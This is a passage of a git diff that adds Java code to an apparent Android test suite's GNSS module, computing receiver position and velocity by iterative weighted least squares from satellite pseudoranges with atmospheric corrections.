+      throw new IllegalArgumentException("Interpolated value is outside the interpolated region");
+    }
+    double deltaX = point2X - point1X;
+    double yOutput;
+
+    if (Math.abs(deltaX) > MINIMUM_INTERPOLATION_THRESHOLD) {
+      yOutput = point1Y + (xOutput - point1X) / deltaX * (point2Y - point1Y);
+    } else {
+      yOutput = point1Y;
+    }
+    return yOutput;
+  }
+
+  /* A class containing dry and wet mapping values */
+  private static class DryAndWetMappingValues {
+    public double dryMappingValue;
+    public double wetMappingValue;
+
+    public DryAndWetMappingValues(double dryMappingValue, double wetMappingValue) {
+      this.dryMappingValue = dryMappingValue;
+      this.wetMappingValue = wetMappingValue;
+    }
+  }
+
+  /* A class containing dry and wet delays in seconds experienced at zenith */
+  private static class DryAndWetZenithDelays {
+    public double dryZenithDelaySec;
+    public double wetZenithDelaySec;
+
+    public DryAndWetZenithDelays(double dryZenithDelay, double wetZenithDelay) {
+      this.dryZenithDelaySec = dryZenithDelay;
+      this.wetZenithDelaySec = wetZenithDelay;
+    }
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java
new file mode 100644
index 0000000..c3af4ba
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/UserPositionVelocityWeightedLeastSquare.java
@@ -0,0 +1,910 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import android.location.cts.gnss.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.gnss.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+import android.location.cts.gnss.pseudorange.SatellitePositionCalculator.PositionAndVelocity;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.gnss.nano.Ephemeris.GpsNavMessageProto;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.LUDecompositionImpl;
+import org.apache.commons.math.linear.QRDecompositionImpl;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Computes an iterative least square receiver position solution given the pseudorange (meters) and
+ * accumulated delta range (meters) measurements, receiver time of week, week number and the
+ * navigation message.
+ */
+class UserPositionVelocityWeightedLeastSquare {
+  private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+  private static final int SECONDS_IN_WEEK = 604800;
+  private static final double LEAST_SQUARE_TOLERANCE_METERS = 4.0e-8;
+  /** Position correction threshold below which atmospheric correction will be applied */
+  private static final double ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS = 1000.0;
+  private static final int MINIMUM_NUMER_OF_SATELLITES = 4;
+  private static final double RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS = 20.0;
+
+  private static final int MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS = 100;
+  /** Maximum possible number of GPS satellites */
+  private static final int MAX_NUMBER_OF_SATELLITES = 32;
+  /** GPS C/A code chip width Tc = 1 microseconds */
+  private static final double GPS_CHIP_WIDTH_T_C_SEC = 1.0e-6;
+  /** Narrow correlator with spacing d = 0.1 chip */
+  private static final double GPS_CORRELATOR_SPACING_IN_CHIPS = 0.1;
+  /** Average time of DLL correlator T of 20 milliseconds */
+  private static final double GPS_DLL_AVERAGING_TIME_SEC = 20.0e-3;
+  /** Average signal travel time from GPS satellite and earth */
+  private static final double AVERAGE_TRAVEL_TIME_SECONDS = 70.0e-3;
+  private static final double SECONDS_PER_NANO = 1.0e-9;
+  private static final double DOUBLE_ROUND_OFF_TOLERANCE = 0.0000000001;
+  private PseudorangeSmoother pseudorangeSmoother = null;
+  private double geoidHeightMeters;
+  private boolean calculateGeoidMeters = true;
+  private RealMatrix geometryMatrix;
+
+  /** Default Constructor */
+  public UserPositionVelocityWeightedLeastSquare() {
+  }
+
+  /*
+   * Constructor with a smoother. One can implement their own smoothing algorithm for smoothing
+   * the pseudorange, by passing a class which implements {@link PseudorangeSmoother} interface.
+   */
+  public UserPositionVelocityWeightedLeastSquare(PseudorangeSmoother pseudorangeSmoother) {
+    this.pseudorangeSmoother = pseudorangeSmoother;
+  }
+
+  /**
+   * Least square solution to calculate the user position given the navigation message, pseudorange
+   * and accumulated delta range measurements. Also calculates user velocity non-iteratively from
+   * Least square position solution.
+   *
+   * <p>The method fills the user position and velocity in ECEF coordinates and receiver clock
+   * offset in meters and clock offset rate in meters per second.
+   *
+   * <p>One can implement their own smoothing algorithm for smoothing the pseudorange, by passing
+   * a class which implements pseudorangeSmoother interface.
+   *
+   * <p>Source for least squares:
+   * <ul>
+   * <li>http://www.u-blox.com/images/downloads/Product_Docs/GPS_Compendium%28GPS-X-02007%29.pdf
+   * page 81 - 85
+   * <li>Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and applications’
+   * page 412 - 414
+   * </ul>
+   *
+   * @param navMessageProto parameters of the navigation message
+   * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+   *        {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+   *        computing the position solution.
+   * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+   * @param receiverGPSWeek Receiver estimate of GPS week (0-1024+)
+   * @param dayOfYear1To366 The day of the year between 1 and 366
+   * @param positionVelocitySolutionECEF Solution array of the following format:
+   *        [0-2] xyz solution of user.
+   *        [3] clock bias of user.
+   *        [4-6] velocity of user.
+   *        [7] clock bias rate of user.
+   * @param positionVelocityUncertaintyEnu Uncertainty of calculated position and velocity solution
+   *        in meters and mps local ENU system. Array has the following format:
+   *        [0-2] Enu uncertainty of position solution in meters
+   *        [3-5] Enu uncertainty of velocity solution in meters per second.
+   *
+   */
+  public void calculateUserPositionVelocityLeastSquare(
+      GpsNavMessageProto navMessageProto,
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+      double receiverGPSTowAtReceptionSeconds,
+      int receiverGPSWeek,
+      int dayOfYear1To366,
+      double[] positionVelocitySolutionECEF,
+      double[] positionVelocityUncertaintyEnu)
+      throws Exception {
+
+    double[] deltaPositionMeters;
+    // make a copy of usefulSatellitesToReceiverMeasurements, to keep the original list the same
+    List<GpsMeasurementWithRangeAndUncertainty> satellitesToReceiverMeasurements =
+      new ArrayList<GpsMeasurementWithRangeAndUncertainty>(usefulSatellitesToReceiverMeasurements);
+    if (pseudorangeSmoother != null) {
+      satellitesToReceiverMeasurements =
+        pseudorangeSmoother.updatePseudorangeSmoothingResult(satellitesToReceiverMeasurements);
+    }
+    int numberOfUsefulSatellites =
+        getNumberOfusefulSatellites(satellitesToReceiverMeasurements);
+    // Least square position solution is supported only if 4 or more satellites visible
+    Preconditions.checkArgument(numberOfUsefulSatellites >= MINIMUM_NUMER_OF_SATELLITES,
+        "At least 4 satellites have to be visible... Only 3D mode is supported...");
+    boolean repeatLeastSquare = false;
+    SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight;
+    do {
+      // Calculate satellites' positions, measurement residual per visible satellite and weight
+      // matrix for the iterative least square
+      boolean doAtmosphericCorrections = false;
+      satPosPseudorangeResidualAndWeight =
+          calculateSatPosAndPseudorangeResidual(
+              navMessageProto,
+              satellitesToReceiverMeasurements,
+              receiverGPSTowAtReceptionSeconds,
+              receiverGPSWeek,
+              dayOfYear1To366,
+              positionVelocitySolutionECEF,
+              doAtmosphericCorrections);
+
+      // Calcualte the geometry matrix according to "Global Positioning System: Theory and
+      // Applications", Parkinson and Spilker page 413
+      RealMatrix covarianceMatrixM2 =
+          new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare);
+      geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+          satPosPseudorangeResidualAndWeight.satellitesPositionsMeters,
+          positionVelocitySolutionECEF));
+      RealMatrix weightedGeometryMatrix;
+      RealMatrix weightMatrixMetersMinus2 = null;
+      // Apply weighted least square only if the covariance matrix is not singular (has a non-zero
+      // determinant), otherwise apply ordinary least square. The reason is to ignore reported
+      // signal to noise ratios by the receiver that can lead to such singularities
+      LUDecompositionImpl ludCovMatrixM2 = new LUDecompositionImpl(covarianceMatrixM2);
+      double det = ludCovMatrixM2.getDeterminant();
+
+      if (det <= DOUBLE_ROUND_OFF_TOLERANCE) {
+        // Do not weight the geometry matrix if covariance matrix is singular.
+        weightedGeometryMatrix = geometryMatrix;
+      } else {
+        weightMatrixMetersMinus2 = ludCovMatrixM2.getSolver().getInverse();
+        RealMatrix hMatrix =
+            calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+        weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+            .multiply(weightMatrixMetersMinus2);
+      }
+
+      // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons", Parkinson
+      // and Spilker
+      deltaPositionMeters =
+          GpsMathOperations.matrixByColVectMultiplication(weightedGeometryMatrix.getData(),
+          satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+      // Apply corrections to the position estimate
+      positionVelocitySolutionECEF[0] += deltaPositionMeters[0];
+      positionVelocitySolutionECEF[1] += deltaPositionMeters[1];
+      positionVelocitySolutionECEF[2] += deltaPositionMeters[2];
+      positionVelocitySolutionECEF[3] += deltaPositionMeters[3];
+      // Iterate applying corrections to the position solution until correction is below threshold
+      satPosPseudorangeResidualAndWeight =
+          applyWeightedLeastSquare(
+              navMessageProto,
+              satellitesToReceiverMeasurements,
+              receiverGPSTowAtReceptionSeconds,
+              receiverGPSWeek,
+              dayOfYear1To366,
+              positionVelocitySolutionECEF,
+              deltaPositionMeters,
+              doAtmosphericCorrections,
+              satPosPseudorangeResidualAndWeight,
+              weightMatrixMetersMinus2);
+      repeatLeastSquare = false;
+      int satsWithResidualBelowThreshold =
+          satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length;
+      // remove satellites that have residuals above RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS as they
+      // worsen the position solution accuracy. If any satellite is removed, repeat the least square
+      repeatLeastSquare =
+          removeHighResidualSats(
+              satellitesToReceiverMeasurements,
+              repeatLeastSquare,
+              satPosPseudorangeResidualAndWeight,
+              satsWithResidualBelowThreshold);
+
+    } while (repeatLeastSquare);
+    calculateGeoidMeters = false;
+
+    // The computed ECEF position will be used next to compute the user velocity.
+    // we calculate and fill in the user velocity solutions based on following equation:
+    // Weight Matrix * GeometryMatrix * User Velocity Vector
+    // = Weight Matrix * deltaPseudoRangeRateWeightedMps
+    // Reference: Pratap Misra and Per Enge
+    // "Global Positioning System: Signals, Measurements, and Performance" Page 218.
+
+    // Gets the number of satellite used in Geometry Matrix
+    numberOfUsefulSatellites = geometryMatrix.getRowDimension();
+
+    RealMatrix rangeRateMps = new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+    RealMatrix deltaPseudoRangeRateMps =
+        new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+    RealMatrix pseudorangeRateWeight
+        = new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+
+    // Correct the receiver time of week with the estimated receiver clock bias
+    receiverGPSTowAtReceptionSeconds =
+        receiverGPSTowAtReceptionSeconds - positionVelocitySolutionECEF[3] / SPEED_OF_LIGHT_MPS;
+
+    int measurementCount = 0;
+
+    // Calculates range rates
+    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+      if (satellitesToReceiverMeasurements.get(i) != null) {
+        GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMessageProto, i + 1);
+
+        double pseudorangeMeasurementMeters =
+            satellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+        GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+            calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+                receiverGPSWeek, pseudorangeMeasurementMeters);
+
+        // Calculate satellite velocity
+        PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+            .calculateSatellitePositionAndVelocityFromEphemeris(
+                ephemeridesProto,
+                correctedTowAndWeek.gpsTimeOfWeekSeconds,
+                correctedTowAndWeek.weekNumber,
+                positionVelocitySolutionECEF[0],
+                positionVelocitySolutionECEF[1],
+                positionVelocitySolutionECEF[2]);
+
+        // Calculates satellite clock error rate
+        double satelliteClockErrorRateMps = SatelliteClockCorrectionCalculator.
+            calculateSatClockCorrErrorRate(
+                ephemeridesProto,
+                correctedTowAndWeek.gpsTimeOfWeekSeconds,
+                correctedTowAndWeek.weekNumber);
+
+        // Fill in range rates. range rate = satellite velocity (dot product) line-of-sight vector
+        rangeRateMps.setEntry(measurementCount, 0,  -1 * (
+            satPosECEFMetersVelocityMPS.velocityXMetersPerSec
+                * geometryMatrix.getEntry(measurementCount, 0)
+                + satPosECEFMetersVelocityMPS.velocityYMetersPerSec
+                * geometryMatrix.getEntry(measurementCount, 1)
+                + satPosECEFMetersVelocityMPS.velocityZMetersPerSec
+                * geometryMatrix.getEntry(measurementCount, 2)));
+
+        deltaPseudoRangeRateMps.setEntry(measurementCount, 0,
+            satellitesToReceiverMeasurements.get(i).pseudorangeRateMps
+                - rangeRateMps.getEntry(measurementCount, 0) + satelliteClockErrorRateMps
+                - positionVelocitySolutionECEF[7]);
+
+        // Calculate the velocity weight matrix by using 1 / square(Pseudorangerate Uncertainty)
+        // along the diagonal
+        pseudorangeRateWeight.setEntry(measurementCount, measurementCount,
+            1 / (satellitesToReceiverMeasurements
+                .get(i).pseudorangeRateUncertaintyMps
+                * satellitesToReceiverMeasurements
+                .get(i).pseudorangeRateUncertaintyMps));
+        measurementCount++;
+      }
+    }
+
+    RealMatrix weightedGeoMatrix = pseudorangeRateWeight.multiply(geometryMatrix);
+    RealMatrix deltaPseudoRangeRateWeightedMps =
+        pseudorangeRateWeight.multiply(deltaPseudoRangeRateMps);
+    QRDecompositionImpl qrdWeightedGeoMatrix = new QRDecompositionImpl(weightedGeoMatrix);
+    RealMatrix velocityMps
+        = qrdWeightedGeoMatrix.getSolver().solve(deltaPseudoRangeRateWeightedMps);
+    positionVelocitySolutionECEF[4] = velocityMps.getEntry(0, 0);
+    positionVelocitySolutionECEF[5] = velocityMps.getEntry(1, 0);
+    positionVelocitySolutionECEF[6] = velocityMps.getEntry(2, 0);
+    positionVelocitySolutionECEF[7] = velocityMps.getEntry(3, 0);
+
+    RealMatrix pseudorangeWeight
+        = new LUDecompositionImpl(
+            new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare
+            )
+    ).getSolver().getInverse();
+
+    // Calculates and store the uncertainties of position and velocity in local ENU system in meters
+    // and meters per second.
+    double[] pvUncertainty =
+        calculatePositionVelocityUncertaintyEnu(pseudorangeRateWeight, pseudorangeWeight,
+            positionVelocitySolutionECEF);
+    System.arraycopy(pvUncertainty,
+        0 /*source starting pos*/,
+        positionVelocityUncertaintyEnu,
+        0 /*destination starting pos*/,
+        6 /*length of elements*/);
+  }
+
+  /**
+   * Calculates the position uncertainty in meters and the velocity uncertainty
+   * in meters per second solution in local ENU system.
+   *
+   * <p> Reference: Global Positioning System: Signals, Measurements, and Performance
+   * by Pratap Misra, Per Enge, Page 206 - 209.
+   *
+   * @param velocityWeightMatrix the velocity weight matrix
+   * @param positionWeightMatrix the position weight matrix
+   * @param positionVelocitySolution the position and velocity solution in ECEF
+   * @return an array containing the position and velocity uncertainties in ENU coordinate system.
+   *         [0-2] Enu uncertainty of position solution in meters.
+   *         [3-5] Enu uncertainty of velocity solution in meters per second.
+   */
+  public double[] calculatePositionVelocityUncertaintyEnu(
+      RealMatrix velocityWeightMatrix, RealMatrix positionWeightMatrix,
+      double[] positionVelocitySolution){
+
+    if (geometryMatrix == null){
+      return null;
+    }
+
+    RealMatrix velocityH = calculateHMatrix(velocityWeightMatrix, geometryMatrix);
+    RealMatrix positionH = calculateHMatrix(positionWeightMatrix, geometryMatrix);
+
+    // Calculate the rotation Matrix to convert to local ENU system.
+    RealMatrix rotationMatrix = new Array2DRowRealMatrix(4, 4);
+    GeodeticLlaValues llaValues = Ecef2LlaConverter.convertECEFToLLACloseForm
+        (positionVelocitySolution[0], positionVelocitySolution[1], positionVelocitySolution[2]);
+    rotationMatrix.setSubMatrix(
+        Ecef2EnuConverter.getRotationMatrix(llaValues.longitudeRadians,
+            llaValues.latitudeRadians).getData(), 0, 0);
+    rotationMatrix.setEntry(3, 3, 1);
+
+    // Convert to local ENU by pre-multiply rotation matrix and multiply rotation matrix transposed
+    velocityH = rotationMatrix.multiply(velocityH).multiply(rotationMatrix.transpose());
+    positionH = rotationMatrix.multiply(positionH).multiply(rotationMatrix.transpose());
+
+    // Return the square root of diagonal entries
+    return new double[] {
+        Math.sqrt(positionH.getEntry(0, 0)), Math.sqrt(positionH.getEntry(1, 1)),
+        Math.sqrt(positionH.getEntry(2, 2)), Math.sqrt(velocityH.getEntry(0, 0)),
+        Math.sqrt(velocityH.getEntry(1, 1)), Math.sqrt(velocityH.getEntry(2, 2))};
+  }
+
+  /**
+   * Calculate the measurement connection matrix H as a function of weightMatrix and
+   * geometryMatrix.
+   *
+   * <p> H = (geometryMatrixTransposed * Weight * geometryMatrix) ^ -1
+   *
+   * <p> Reference: Global Positioning System: Signals, Measurements, and Performance, P207
+   * @param weightMatrix Weights for computing H Matrix
+   * @return H Matrix
+   */
+  private RealMatrix calculateHMatrix
+      (RealMatrix weightMatrix, RealMatrix geometryMatrix){
+
+    RealMatrix tempH = geometryMatrix.transpose().multiply(weightMatrix).multiply(geometryMatrix);
+    return new LUDecompositionImpl(tempH).getSolver().getInverse();
+  }
+
+  /**
+   * Applies weighted least square iterations and corrects to the position solution until correction
+   * is below threshold. An exception is thrown if the maximum number of iterations:
+   * {@value #MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS} is reached without convergence.
+   */
+  private SatellitesPositionPseudorangesResidualAndCovarianceMatrix applyWeightedLeastSquare(
+      GpsNavMessageProto navMessageProto,
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+      double receiverGPSTowAtReceptionSeconds,
+      int receiverGPSWeek,
+      int dayOfYear1To366,
+      double[] positionSolutionECEF,
+      double[] deltaPositionMeters,
+      boolean doAtmosphericCorrections,
+      SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+      RealMatrix weightMatrixMetersMinus2)
+      throws Exception {
+    RealMatrix weightedGeometryMatrix;
+    int numberOfIterations = 0;
+
+    while ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+        + Math.abs(deltaPositionMeters[2])) >= LEAST_SQUARE_TOLERANCE_METERS) {
+      // Apply ionospheric and tropospheric corrections only if the applied correction to
+      // position is below a specific threshold
+      if ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+          + Math.abs(deltaPositionMeters[2])) < ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS) {
+        doAtmosphericCorrections = true;
+      }
+      // Calculate satellites' positions, measurement residual per visible satellite and weight
+      // matrix for the iterative least square
+      satPosPseudorangeResidualAndWeight = calculateSatPosAndPseudorangeResidual(navMessageProto,
+          usefulSatellitesToReceiverMeasurements, receiverGPSTowAtReceptionSeconds, receiverGPSWeek,
+          dayOfYear1To366, positionSolutionECEF, doAtmosphericCorrections);
+
+      // Calculate the geometry matrix according to "Global Positioning System: Theory and
+      // Applications", Parkinson and Spilker page 413
+      geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+          satPosPseudorangeResidualAndWeight.satellitesPositionsMeters, positionSolutionECEF));
+      // Apply weighted least square only if the covariance matrix is
+      // not singular (has a non-zero determinant), otherwise apply ordinary least square.
+      // The reason is to ignore reported signal to noise ratios by the receiver that can
+      // lead to such singularities
+      if (weightMatrixMetersMinus2 == null) {
+        weightedGeometryMatrix = geometryMatrix;
+      } else {
+        RealMatrix hMatrix =
+            calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+        weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+            .multiply(weightMatrixMetersMinus2);
+      }
+
+      // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons",
+      // Parkinson and Spilker
+      deltaPositionMeters =
+          GpsMathOperations.matrixByColVectMultiplication(
+              weightedGeometryMatrix.getData(),
+              satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+      // Apply corrections to the position estimate
+      positionSolutionECEF[0] += deltaPositionMeters[0];
+      positionSolutionECEF[1] += deltaPositionMeters[1];
+      positionSolutionECEF[2] += deltaPositionMeters[2];
+      positionSolutionECEF[3] += deltaPositionMeters[3];
+      numberOfIterations++;
+      Preconditions.checkArgument(numberOfIterations <= MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS,
+          "Maximum number of least square iterations reached without convergance...");
+    }
+    return satPosPseudorangeResidualAndWeight;
+  }
+
+  /**
+   * Removes satellites that have residuals above {@value #RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS}
+   * from the {@code usefulSatellitesToReceiverMeasurements} list. Returns true if any satellite is
+   * removed.
+   */
+  private boolean removeHighResidualSats(
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+      boolean repeatLeastSquare,
+      SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+      int satsWithResidualBelowThreshold) {
+
+    for (int i = 0; i < satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length; i++) {
+      if (satsWithResidualBelowThreshold > MINIMUM_NUMER_OF_SATELLITES) {
+        if (Math.abs(satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters[i]) 
+            > RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS) {
+          int prn = satPosPseudorangeResidualAndWeight.satellitePRNs[i];
+          usefulSatellitesToReceiverMeasurements.set(prn - 1, null);
+          satsWithResidualBelowThreshold--;
+          repeatLeastSquare = true;
+        }
+      }
+    }
+    return repeatLeastSquare;
+  }
+
+  /**
+   * Calculates position of all visible satellites and pseudorange measurement residual (difference
+   * of measured to predicted pseudoranges) needed for the least square computation. The result is
+   * stored in an instance of {@link SatellitesPositionPseudorangesResidualAndCovarianceMatrix}
+   *
+   * @param navMeassageProto parameters of the navigation message
+   * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+   *        {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+   *        computing the position solution
+   * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+   * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+   * @param dayOfYear1To366 The day of the year between 1 and 366
+   * @param userPositionECEFMeters receiver ECEF position in meters
+   * @param doAtmosphericCorrections boolean indicating if atmospheric range corrections should be
+   *        applied
+   * @return SatellitesPositionPseudorangesResidualAndCovarianceMatrix Object containing satellite
+   *         prns, satellite positions in ECEF, pseudorange residuals and covariance matrix.
+   */
+  public SatellitesPositionPseudorangesResidualAndCovarianceMatrix
+    calculateSatPosAndPseudorangeResidual(
+      GpsNavMessageProto navMeassageProto,
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+      double receiverGPSTowAtReceptionSeconds,
+      int receiverGpsWeek,
+      int dayOfYear1To366,
+      double[] userPositionECEFMeters,
+      boolean doAtmosphericCorrections)
+      throws Exception {
+    int numberOfUsefulSatellites =
+        getNumberOfusefulSatellites(usefulSatellitesToReceiverMeasurements);
+    // deltaPseudorange is the pseudorange measurement residual
+    double[] deltaPseudorangesMeters = new double[numberOfUsefulSatellites];
+    double[][] satellitesPositionsECEFMeters = new double[numberOfUsefulSatellites][3];
+
+    // satellite PRNs
+    int[] satellitePRNs = new int[numberOfUsefulSatellites];
+
+    // Ionospheric model parameters
+    double[] alpha =
+        {navMeassageProto.iono.alpha[0], navMeassageProto.iono.alpha[1],
+            navMeassageProto.iono.alpha[2], navMeassageProto.iono.alpha[3]};
+    double[] beta = {navMeassageProto.iono.beta[0], navMeassageProto.iono.beta[1],
+        navMeassageProto.iono.beta[2], navMeassageProto.iono.beta[3]};
+    // Weight matrix for the weighted least square
+    RealMatrix covarianceMatrixMetersSquare =
+        new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+    calculateSatPosAndResiduals(
+        navMeassageProto,
+        usefulSatellitesToReceiverMeasurements,
+        receiverGPSTowAtReceptionSeconds,
+        receiverGpsWeek,
+        dayOfYear1To366,
+        userPositionECEFMeters,
+        doAtmosphericCorrections,
+        deltaPseudorangesMeters,
+        satellitesPositionsECEFMeters,
+        satellitePRNs,
+        alpha,
+        beta,
+        covarianceMatrixMetersSquare);
+
+    return new SatellitesPositionPseudorangesResidualAndCovarianceMatrix(satellitePRNs,
+        satellitesPositionsECEFMeters, deltaPseudorangesMeters,
+        covarianceMatrixMetersSquare.getData());
+  }
+
+  /**
+   * Calculates and fill the position of all visible satellites:
+   * {@code satellitesPositionsECEFMeters}, pseudorange measurement residual (difference of measured
+   * to predicted pseudoranges): {@code deltaPseudorangesMeters} and covariance matrix from the
+   * weighted least square: {@code covarianceMatrixMetersSquare}. An array of the satellite PRNs
+   * {@code satellitePRNs} is as well filled.
+   */
+  private void calculateSatPosAndResiduals(
+      GpsNavMessageProto navMeassageProto,
+      List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+      double receiverGPSTowAtReceptionSeconds,
+      int receiverGpsWeek,
+      int dayOfYear1To366,
+      double[] userPositionECEFMeters,
+      boolean doAtmosphericCorrections,
+      double[] deltaPseudorangesMeters,
+      double[][] satellitesPositionsECEFMeters,
+      int[] satellitePRNs,
+      double[] alpha,
+      double[] beta,
+      RealMatrix covarianceMatrixMetersSquare)
+      throws Exception {
+    // user position without the clock estimate
+    double[] userPositionTempECEFMeters =
+        {userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]};
+    int satsCounter = 0;
+    for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+      if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+        GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMeassageProto, i + 1);
+        // Correct the receiver time of week with the estimated receiver clock bias
+        receiverGPSTowAtReceptionSeconds =
+            receiverGPSTowAtReceptionSeconds - userPositionECEFMeters[3] / SPEED_OF_LIGHT_MPS;
+
+        double pseudorangeMeasurementMeters =
+            usefulSatellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+        double pseudorangeUncertaintyMeters =
+            usefulSatellitesToReceiverMeasurements.get(i).pseudorangeUncertaintyMeters;
+
+        // Assuming uncorrelated pseudorange measurements, the covariance matrix will be diagonal as
+        // follows
+        covarianceMatrixMetersSquare.setEntry(satsCounter, satsCounter,
+            pseudorangeUncertaintyMeters * pseudorangeUncertaintyMeters);
+
+        // Calculate time of week at transmission time corrected with the satellite clock drift
+        GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+            calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+                receiverGpsWeek, pseudorangeMeasurementMeters);
+
+        // calculate satellite position and velocity
+        PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+            .calculateSatellitePositionAndVelocityFromEphemeris(ephemeridesProto,
+                correctedTowAndWeek.gpsTimeOfWeekSeconds, correctedTowAndWeek.weekNumber,
+                userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+
+        satellitesPositionsECEFMeters[satsCounter][0] = satPosECEFMetersVelocityMPS.positionXMeters;
+        satellitesPositionsECEFMeters[satsCounter][1] = satPosECEFMetersVelocityMPS.positionYMeters;
+        satellitesPositionsECEFMeters[satsCounter][2] = satPosECEFMetersVelocityMPS.positionZMeters;
+
+        // Calculate ionospheric and tropospheric corrections
+        double ionosphericCorrectionMeters;
+        double troposphericCorrectionMeters;
+        if (doAtmosphericCorrections) {
+          ionosphericCorrectionMeters =
+              IonosphericModel.ionoKloboucharCorrectionSeconds(
+                      userPositionTempECEFMeters,
+                      satellitesPositionsECEFMeters[satsCounter],
+                      correctedTowAndWeek.gpsTimeOfWeekSeconds,
+                      alpha,
+                      beta,
+                      IonosphericModel.L1_FREQ_HZ)
+                  * SPEED_OF_LIGHT_MPS;
+
+          troposphericCorrectionMeters =
+              calculateTroposphericCorrectionMeters(
+                  dayOfYear1To366,
+                  satellitesPositionsECEFMeters,
+                  userPositionTempECEFMeters,
+                  satsCounter);
+        } else {
+          troposphericCorrectionMeters = 0.0;
+          ionosphericCorrectionMeters = 0.0;
+        }
+        double predictedPseudorangeMeters =
+            calculatePredictedPseudorange(userPositionECEFMeters, satellitesPositionsECEFMeters,
